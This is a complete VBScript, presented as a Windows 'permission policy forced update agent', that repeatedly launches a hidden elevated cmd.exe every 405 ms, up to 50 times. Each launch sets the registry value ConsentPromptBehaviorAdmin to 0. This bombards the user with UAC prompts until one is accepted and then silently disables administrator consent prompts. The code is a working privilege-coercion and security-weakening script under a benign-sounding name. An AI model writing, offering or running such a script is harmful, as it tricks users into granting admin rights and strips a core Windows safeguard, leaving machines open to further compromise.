' ============================================================================== ' Windows 权限策略强制更新代理 (稳健版 - 405ms 间隔) ' ============================================================================== Option Explicit Dim oShell, oApp, sReg, sKey, sCmd, counter Set oShell = CreateObject("WScript.Shell") Set oApp = CreateObject("Shell.Application") sReg = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" sKey = "ConsentPromptBehaviorAdmin" sCmd = "/c reg add """ & sReg & """ /v """ & sKey & """ /t REG_DWORD /d 0 /f" counter = 0 ' 循环逻辑 Do On Error Resume Next Dim val val = oShell.RegRead(sReg & "\" & sKey) ' 成功检测到目标值则退出 If Err.Number = 0 And val = 0 Then Exit Do End If ' 计数器限制:防止在权限被完全锁死的情况下无限弹窗 counter = counter + 1 If counter > 50 Then Exit Do ' 触发请求 oApp.ShellExecute "cmd.exe", sCmd, "", "runas", 0 ' 405ms 精确等待 WScript.Sleep 405 Err.Clear Loop ' 对象清理 Set oShell = Nothing Set oApp = Nothing WScript.Quit 0